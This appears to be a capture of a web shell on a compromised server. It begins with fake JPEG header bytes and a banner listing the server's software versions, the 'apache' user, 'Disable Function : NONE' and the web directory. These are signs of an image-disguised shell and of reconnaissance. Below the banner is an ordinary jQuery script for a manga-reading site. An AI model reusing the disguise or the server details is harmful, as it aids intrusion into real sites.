ÿØÿà JFIF ÿÛ „ ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/lnovel/layout/default/js/ |
$(document).ready(function(){ var processing; $(window).scroll(function() { if(processing) { return false; } if ($(window).scrollTop() >= ($(document).height() - $(window).height())*0.5){ if($('#next_img_token').length > 0) { processing = true; var token = $('#next_img_token').val(); var datajwt = parseJwt(token); var data_img = atob(datajwt.data); var pos_img = parseInt($('#next_img_pos').val()); var myArray = JSON.parse(data_img); var currentlink = $('#currentlink').val(); var html = ''; var i = 0; $.each(myArray, function(index, item) { if(i<=9) { if(index>(pos_img-1) && index<(pos_img+9)){ var positon = parseInt(pos_img) + i + 1; html += '<div id="page_' + positon + '" class="page-chapter p' + positon + '"><img data-index="' + positon + '" src="'+currentlink+'/' + item + '"></div>'; i++; } } }); $('.box_doc').append(html); if (i < 1) { return false; } processing = false; var next_pos = pos_img + i; $('#next_img_pos').attr('value', next_pos); //console.log(html); } } }); $('.owl-carousel').owlCarousel({ loop:true, autoplay:true, margin:10, responsiveClass:true, nav:true, responsive:{ 0:{ items:2 }, 600:{ items:3 }, 1000:{ items:5 } } }); if(!$.cookie('t_color_theme') || $.cookie('t_color_theme')=='undefined') { $('body').attr('data-bs-theme','light'); }else{ $('body').attr('data-bs-theme', $.cookie('t_color_theme')); } $( ".toggle-dark" ).bind( "click", function() { $.removeCookie('t_color_theme', { path: '/' }); var t_color = $(this).attr('rel'); if (t_color == 'dark') { $(this).attr('rel', 'light'); $(this).css("color", "white"); } else { $(this).attr('rel', 'dark'); $(this).css("color", "yellow"); } $('body').attr('data-bs-theme', t_color); $.cookie('t_color_theme', t_color, { path: '/' }); }); $('#search-kw').bind('click keyup', function(event) { event.stopPropagation(); var keyword = $(this).val(); if (keyword.trim()!='') { $('.suggestsearch').show(); $.ajax({url: "/?act=ajax&code=search_manga&keyword="+keyword.trim(), dataType:'html', success: function(result){ $('#show_list_suggestsearch').html(result); }} ); } $(window).click(function() { $('.suggestsearch').hide(); }); }); $('#basic_addon2').click(function(){ var keyword = $('#search-kw').val(); if (keyword.trim()!='') { location.href='/?act=search&f[status]=all&f[sortby]=lastest-chap&f[keyword]='+keyword.trim(); } }); $('#search-kw').keydown(function (e) { if (e.keyCode === 13) { e.preventDefault(); var keyword = $('#search-kw').val(); if (keyword.trim()!='') { location.href='/?act=search&f[status]=all&f[sortby]=lastest-chap&f[keyword]='+keyword.trim(); } } }); $('#icon_search_1').bind( "click", function() { if ($('#search-kw').css('display') == 'none') { $('#search-kw').show(); }else{ $('#search-kw').hide(); } }); $('#search_icon2').bind( "click", function() { if ($('#top_navbar').css('display') == 'none') { $('#top_navbar').show(); }else{ $('#top_navbar').hide(); } }); $('.update_and_login').click(function (){ var password = $('#password').val(); var re_password = $('#re_password').val(); if(password=='' || re_password==''){ $("#success-alert-text").html('Please enter password and re-password'); $("#success-alert").fadeTo(3000, 500).slideUp(500, function() { $("#success-alert").slideUp(3000); }); $('#password').focus(); return false; } if(password!=re_password){ $("#success-alert-text").html('Please enter password same with re-password'); $("#success-alert").fadeTo(3000, 500).slideUp(500, function() { $("#success-alert").slideUp(3000); }); return false; } $('#form_update_and_login .submit').click(); return false; }); $('.btn_login').click(function (){ $('#login_form .submit').click(); return false; }); var tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]')); var tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) { return new bootstrap.Tooltip(tooltipTriggerEl) }); if(screen.width > 900){ $(".jtip").hover( function () { var e = $($(this).data("jtip")); if (!e.length) return !1; e.find(".box_img img").attr("src", e.find(".box_img img").attr("data-original")), $('<div id="cluetip"></div>').html(e.html()).appendTo("body").fadeIn("300"); }, function () { $("#cluetip").remove(); } ).mousemove(function (e) { var t = e.pageX + 20, a = e.pageY + 10; $("#cluetip").css({ top: a, left: t }); }); } var shortened = $('#summary_shortened').outerHeight(true); if(shortened>60){ $('#summary_shortened').addClass('shortened'); $('.morelink').show(); }else{ $('#summary_shortened').removeClass('shortened'); $('.morelink').remove(); } $('.morelink').click(function(){ var this_rel = $(this).attr('rel'); if(this_rel=='show_more'){ $('#summary_shortened').removeClass('shortened'); $(this).attr('rel','show_less'); $(this).html('Show less <i class="fa fa-angle-left"></i>'); }else{ $('#summary_shortened').addClass('shortened'); $(this).attr('rel','show_more'); $(this).html('Show more <i class="fa fa-angle-right"></i>'); } }); $('#show_rating_id').barrating({ showValues: false, theme: 'fontawesome-stars', onSelect: function (value, text, event) { var manga_id = $('#manga_id').val(); if (typeof (event) !== 'undefined') { $.ajax({ url: '/?act=ajax&code=star_rating', type: 'post', data: { manga_id: manga_id, rating: value }, dataType: 'json', success: function (data) { var average = data['numRating']; $('.show_rating').barrating('set',average); $('span[itemprop="ratingValue"]').html(average); $('span[itemprop="ratingCount"]').html(data['total_rating']); var end_time = Math.floor(Date.now() / 1000); $('#ajax_time_res').val(end_time); } }); } } }); var rating_value = $('#rating_value').val(); $('#show_rating_id').barrating('set',rating_value); $(".reading-detail").click(function() { var currentSection = $(window).scrollTop(); var viewportHeight = $(window).height()/2; currentSection=currentSection+viewportHeight; $('html, body').animate({ scrollTop: currentSection, complete: function () { scrollTop: 0 } }, 100); }); $('.alertError').click(function(){ $('#alertError_modal').modal('show'); }); $('.send_error').click(function (){ $('#form_error .submit').click(); return false; }); $('select[name="f[error_type]"]').change(function(){ var title_rel = $('option:selected', this).attr('rel'); $('.error_des').html('<i class="text-danger">'+title_rel+'</i>'); }); $('.select-chapter').click(function(){ $('#chapter_modal').modal('show'); }); $("#chapter_modal").on('show.bs.modal', function(){ var myChapId = $('.select-chapter').data('chapid'); var mangaId=$('.select-chapter').data('mangaid'); var pos = $('#chapter_'+myChapId).index(); var phan_nguyen = (pos - (pos % 3)); var new_pos = (phan_nguyen/3)*44; $('.modal-body').animate({ scrollTop: new_pos+'px' }, 'fast'); $('#keyword_chapter_modal').bind('click keyup', function(event) { event.stopPropagation(); var keyword_chapter = $('#keyword_chapter_modal').val(); if (keyword_chapter.trim()!='') { load_list_chapter_modal(mangaId,1,keyword_chapter.trim(),myChapId); } }); }); $('.searchText').bind('keyup', function() { var searchString = $(this).val(); $("ul#my_list_chapter li a").each(function(index, value) { currentName = $(value).text() if( currentName.toUpperCase().indexOf(searchString.toUpperCase()) > -1) { $(value).show(); } else { $(value).hide(); } }); }); $('.follow-link').click(function(){ var myChapId = $(this).data('id'); var follow_id = $(this).data('subid'); $.ajax({ url: "/?act=ajax&code=follow&chap_id="+myChapId+'&follow_id='+follow_id, success: function(result){ if(result=='need_login'){ alert('Please login to follow!'); return false; } var myArray = result.split("@"); if(myArray[0]=='follow') { $('.follow-link').html('<i class="fas fa-trash-alt"></i> <span>Unfollow</span>'); $('.follow-link').removeClass('btn-info').addClass('btn-danger'); }else{ $('#unfollow-follow-link-'+myChapId).html('<i class="fa fa-heart"></i> <span>Follow</span>'); $('#unfollow-follow-link-'+myChapId).removeClass('btn-danger').addClass('btn-info'); } $('#total_follow').text(myArray[1]); var end_time = Math.floor(Date.now() / 1000); $('#ajax_time_res').val(end_time); } }); }); if($("div.container").hasClass("follow_manga") || $("div.container").hasClass("user_account")){ $('.delete-all-history').click(function(){ if(confirm('Are you sure clear all history?')){ $.ajax({url: "/?act=ajax&code=delete_all_history", dataType:'', success: function(result){ location.reload(); }} ); } }); $('.mark-as-read').click(function(){ var manga_id = $(this).data('id'); $.ajax({url: "/?act=ajax&code=follow_already_read&manga_id="+manga_id, dataType:'', success: function(result){ $('#mark-as-read-'+manga_id).hide(); }} ); }) $('.delete-already-read-follow').click(function(){ if(confirm('Are you sure update all already read follow?')){ $.ajax({url: "/?act=ajax&code=delete_already_read_follow", dataType:'', success: function(result){ location.reload(); }} ); } }); } if($("div.container").hasClass("user_account")){ $('#upload_avatar').on('submit',(function(e) { e.preventDefault(); var formData = new FormData(this); $('#OpenImgUpload').attr('src','https://c.tenor.com/k-A2Bukh1lUAAAAi/loading-loading-symbol.gif'); $.ajax({ type:'POST', url: $(this).attr('action'), data:formData, cache:false, contentType: false, processData: false, success:function(data){ $('#OpenImgUpload').attr('src',data); }, error: function(data){ alert(data); } }); })); $('.button_edit_image').click(function(){ $('#imgupload').trigger('click'); $("#imgupload").on("change", function() { $('#upload_avatar .submit_avatar').click(); return false; }); }); $('.send_request').click(function (){ $('#form_request .submit').click(); return false; }); } if($("div.container").hasClass("reading") || $("div.container").hasClass("mangadetail")){ if($("div.container").hasClass("mangadetail")) { $('#keyword_chapter').bind('click keyup', function(event) { event.stopPropagation(); var keyword_chapter = $('#keyword_chapter').val(); if (keyword_chapter.trim()!='') { load_list_chapter(1,keyword_chapter.trim()); } }); $.ajax({url: "/?act=ajax&code=emoji&content_id=trollface_content", dataType:'json', success: function(result){ window.emoji_content = result; }} ); var comment_page_num = $('#comment_page_num').val(); var comment_type_sort = $('#comment_type_sort').val(); var comment_type_chap = $('#comment_type_chap').val(); load_list_comment(comment_page_num,comment_type_sort,0); $('#lastest_comment_check').change(function(){ if ($(this).prop('checked')==true){ load_list_comment(comment_page_num,'lasted',0); $('#comment_type_sort').val('lasted'); $('.form-check-label').text('Lastest'); }else{ load_list_comment(comment_page_num,'hoted',0); $('#comment_type_sort').val('hoted'); $('.form-check-label').text('Most voted'); } }); } if($("div.container").hasClass("reading")) { var $obj = $('#chapterNav'); var top = $obj.offset().top - parseFloat($obj.css('marginTop').replace(/auto/, 0)); $(window).scroll(function (event) { var y = $(this).scrollTop(); if (y >= top) { var lastScrollTop = 0; window.addEventListener("scroll", function(){ var st = window.pageYOffset || document.documentElement.scrollTop; if (st > lastScrollTop) { // downscroll code //$obj.removeClass('scroll-to-fixed-fixed'); } else if (st < lastScrollTop) { // upscroll code if(st>100) { $obj.addClass('scroll-to-fixed-fixed'); } } lastScrollTop = st <= 0 ? 0 : st; // For Mobile or negative scrolling }, false); } else { $obj.removeClass('scroll-to-fixed-fixed'); var lastScrollTop = 0; window.addEventListener("scroll", function(){ var st = window.pageYOffset || document.documentElement.scrollTop; if (st > lastScrollTop) { // downscroll code $obj.removeClass('scroll-to-fixed-fixed'); } else if (st < lastScrollTop) { // upscroll code //$obj.addClass('scroll-to-fixed-fixed'); //$obj.removeClass('scroll-to-fixed-fixed'); } lastScrollTop = st <= 0 ? 0 : st; // For Mobile or negative scrolling }, false); } }); document.onkeydown = function (event) { if (event.keyCode == 37) { var href = $('a.a_prev').attr('href'); if (href != 'javascript:void(0);') { location.href = href; } else { alert('You are watching the first chapter!'); return false; } } if (event.keyCode == 39) { var href = $('a.a_next').attr('href'); if (href != 'javascript:void(0);') { location.href = href; } else { alert('You are watching the last chapter!'); return false; } } }; var current_pos = 1; current_pos = $('a.loadchapter.btn-success').data('position'); $('.changeserver span').text(current_pos); $('.loadchapter').click(function () { var id_server = $(this).data('id'); var currentlink = $('#currentlink').val(); var server_url = $(this).data('link'); $('.reading-detail').find("img").each(function (k, el) { var newSrc = $(el).attr("src").replace(currentlink, server_url); $(el).attr("src", newSrc); }); $('.loadchapter').removeClass('btn-success').addClass('btn-info'); $('#a_loadchapter_' + id_server).removeClass('btn-info').addClass('btn-success'); $('#currentlink').val(server_url); }); $('.changeserver').click(function () { var currentlink = $('#currentlink').val(); var current_pos = parseInt($('.changeserver span').text()); var num_server = parseInt($('.loadchapter').length); var next_post = parseInt(parseInt(current_pos) + 1); if (next_post > num_server) { next_post = 1; } $('.loadchapter').each(function (index, item) { if (parseInt($(item).data('position')) == next_post) { var server_url = $(item).data('link'); var id_server = $(item).data('id'); $('.reading-detail').find("img").each(function (k, el) { var newSrc = $(el).attr("src").replace(currentlink, server_url); $(el).attr("src", newSrc); }); $('.loadchapter').removeClass('btn-success').addClass('btn-info'); $('#a_loadchapter_' + id_server).removeClass('btn-info').addClass('btn-success'); $('#currentlink').val(server_url); $('.changeserver span').text(next_post); } }); }); //load comment $.ajax({url: "/?act=ajax&code=emoji&content_id=trollface_content",dataType:'json', success: function(result){ window.emoji_content = result; }} ); var comment_page_num = $('#comment_page_num').val(); var comment_type_sort = $('#comment_type_sort').val(); var comment_type_chap = $('#comment_type_chap').val(); load_list_comment(comment_page_num,comment_type_sort,comment_type_chap); $('#lastest_comment_check').change(function(){ if ($(this).prop('checked')==true){ load_list_comment(comment_page_num,'lasted',comment_type_chap); $('#comment_type_sort').val('lasted'); $('.form-check-label').text('Lastest'); }else{ load_list_comment(comment_page_num,'hoted',comment_type_chap); $('#comment_type_sort').val('hoted'); $('.form-check-label').text('Most voted'); } }); $('.type_chap_load').click(function(){ var type_chap_load = $(this).data('type'); load_list_comment(comment_page_num,comment_type_sort,type_chap_load); $('#comment_type_chap').val(type_chap_load); $('.type_chap_load').removeClass('active'); $(this).addClass('active'); }); } } }); function load_list_chapter_modal(manga_id,page_num,keyword='',chap_id=0){ $.ajax({ url: '/?act=ajax&code=load_list_chapter_modal&manga_id='+manga_id+'&page_num='+page_num+'&chap_id='+chap_id+'&keyword='+keyword, dataType:'json', success: function(result){ $('#list_chapter_id_modal').html(result.list_chap); $('#nav_list_chapter_id_modal').html(result.nav); if(chap_id>0){ var pos = $('#chapter_'+chap_id).index(); var phan_nguyen = (pos - (pos % 3)); var new_pos = (phan_nguyen/3)*44; $('.modal-body').animate({ scrollTop: new_pos+'px' }, 'fast'); } }} ); } function load_list_chapter(page_num,keyword='',chap_id=0){ var manga_id = $('#title-detail-manga').data('manga'); $.ajax({ url: '/?act=ajax&code=load_list_chapter&manga_id='+manga_id+'&page_num='+page_num+'&chap_id='+chap_id+'&keyword='+keyword, dataType:'json', success: function(result){ $('#list_chapter_id_detail').html(result.list_chap); $('#nav_list_chapter_id_detail').html(result.nav); $('html, body').animate({ scrollTop: $("#nt_listchapter").offset().top }, 100); /*$('.comment-list').html(result.list); $('.commentpager').html('<ul class="pagination_comment">'+result.nav+'</ul>'); $('#comment_page_num').val(comment_page_num); if(s_to!='') { var cur_url = document.location.href.split("#"); var url_comment_page_num = cur_url[0] + "#"+s_to; document.location = url_comment_page_num; } var end_time = Math.floor(Date.now() / 1000); $('#ajax_time_res').val(end_time);*/ }} ); } function load_list_comment(comment_page_num,type_sort,type_chap=1,s_to=''){ var manga_id = $('#title-detail-manga').data('manga'); var chap_id = $('#title-detail-manga').data('chapter'); $.ajax({ url: '/?act=ajax&code=load_list_comment&manga_id='+manga_id+'&chap_id='+chap_id+'&comment_page_num='+comment_page_num+'&type_sort='+type_sort+'&type_chap='+type_chap, dataType:'', success: function(result){ $('#load_show_list_comment').html(result); /*$('.comment-list').html(result.list); $('.commentpager').html('<div class="chapters_pagination"><ul>'+result.nav+'</ul></nav>');*/ $('#comment_page_num').val(comment_page_num); if(s_to!='') { var cur_url = document.location.href.split("#"); var url_comment_page_num = cur_url[0] + "#"+s_to; document.location = url_comment_page_num; } var end_time = Math.floor(Date.now() / 1000); $('#ajax_time_res').val(end_time); }} ); } function sendComment(comment_id){ var value= $('#comment_form_'+comment_id).summernote('code'); $('#comment_form_'+comment_id).summernote('reset'); var value_check = value.replace( /<[^img].*?>/g, '' ); if(value_check==''){ alert('Comment can not empty!'); return false; } var value_check_input = value.replace( /<[^img|p|\/p].*?>/g, '' ); value_check_input = value_check_input.replace(/<p[^>]*>/g, '').replace(/<\/p>/g, '<br/>'); value_check_input = value_check_input.replace(/(<br\/>)+/g, '<br\/>'); value_check_input = value_check_input.replace(/^\s*<br\s*\/?>|<br\s*\/?>\s*$/g,''); var name = $('#comment_name_'+comment_id).val(); var user_id = parseInt($('#user_id').val()); if(user_id==0){ alert('Please login to comment!'); return false; } if(name==''){ alert('Please input your name!'); return false; } $('.send_comment_button_'+comment_id).html('<img src="layout/default/images/fb-loading.gif">'); var manga_id = $('#title-detail-manga').data('manga'); var chap_id = $('#title-detail-manga').data('chapter'); $.ajax({ url: '/?act=ajax&code=send_comment', type: "POST", data: { manga_id:manga_id, chap_id:chap_id, name:name, user_id:user_id, comment_id:comment_id, content: value_check_input }, dataType:'json', success: function(result){ if(result.comment_status=='locked'){ alert('Your comment is currently being hidden because you are using the terms that violate the community. Your comment will be displayed after the admin approves it!'); $('#comment_form_'+comment_id).summernote('destroy'); $('#comment_form_'+comment_id).hide(); $('#input_form_'+comment_id).hide(); $('.placeholder').show(); return false; } $('#comment_form_'+comment_id).summernote('destroy'); $('#comment_form_'+comment_id).hide(); $('#input_form_'+comment_id).hide(); $('.placeholder').show(); var comment_page_num = $('#comment_page_num').val(); var comment_type_sort = $('#comment_type_sort').val(); var comment_type_chap = $('#comment_type_chap').val(); if(comment_id==0){ load_list_comment(1,comment_type_sort,comment_type_chap,'tab_comment_id'); }else { load_list_comment(comment_page_num, comment_type_sort, comment_type_chap); var cur_url = document.location.href.split("#"); var url_comment_page_num = cur_url[0] + "#comment_" + result.comment_id_insert; document.location = url_comment_page_num; } }} ); } function voteComment(comment_id,type){ var user_id = parseInt($('#user_id').val()); if(user_id==0){ alert('Please login for vote comment!'); return false; } $.ajax({url: '/?act=ajax&code=like_comment&comment_id='+comment_id+'&user_id='+user_id+'&type='+type, dataType:'json', success: function(result){ if(type==1){ $('.vote-up-count').text(' '+result.like_num); } if(type==2){ $('.vote-down-count').text(' '+result.dislike_num); } if(result.error=='liked_before'){ alert('You voted this comment before!'); return false; } var end_time = Math.floor(Date.now() / 1000); $('#ajax_time_res').val(end_time); }} ); } function openCommentAction(comment_id){ $('.comment-more').addClass('hidden'); $('#comment_more_'+comment_id).removeClass('hidden'); $(document).click(function(e) { var container = $(".comment-more-wrap"); if (!container.is(e.target) && container.has(e.target).length === 0) { $('.comment-more').addClass('hidden'); } }); } function reportComment(comment_id){ if(confirm("Are you sure this comment violates the Community Standards?")){ $.ajax({url: '/?act=ajax&code=report_comment&comment_id='+comment_id, dataType:'json', success: function(result){ alert('This comment has been reported.'); }} ); } } function deleteComment(comment_id){ if(confirm("Are you sure delete this comment?")){ $.ajax({url: '/?act=ajax&code=delete_comment&comment_id='+comment_id, dataType:'json', success: function(result){ $('#comment_'+comment_id).remove(); }} ); } } function unFollow(chap_id){ if(confirm("Are you sure unfollow this manga?")){ $.ajax({url: '/?act=ajax&code=unfollow&chap_id='+chap_id, dataType:'', success: function(result){ $('#manga_follow_'+result).remove(); }} ); } } function deleteHistory(chap_id){ if(confirm("Are you sure delete history this manga?")){ $.ajax({url: '/?act=ajax&code=delete_history&chap_id='+chap_id, dataType:'', success: function(result){ $('#li_hitory_manga_'+result).remove(); }} ); } } function parseJwt (token) { var base64Url = token.split('.')[1]; var base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/'); var jsonPayload = decodeURIComponent(window.atob(base64).split('').map(function(c) { return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2); }).join('')); return JSON.parse(jsonPayload); }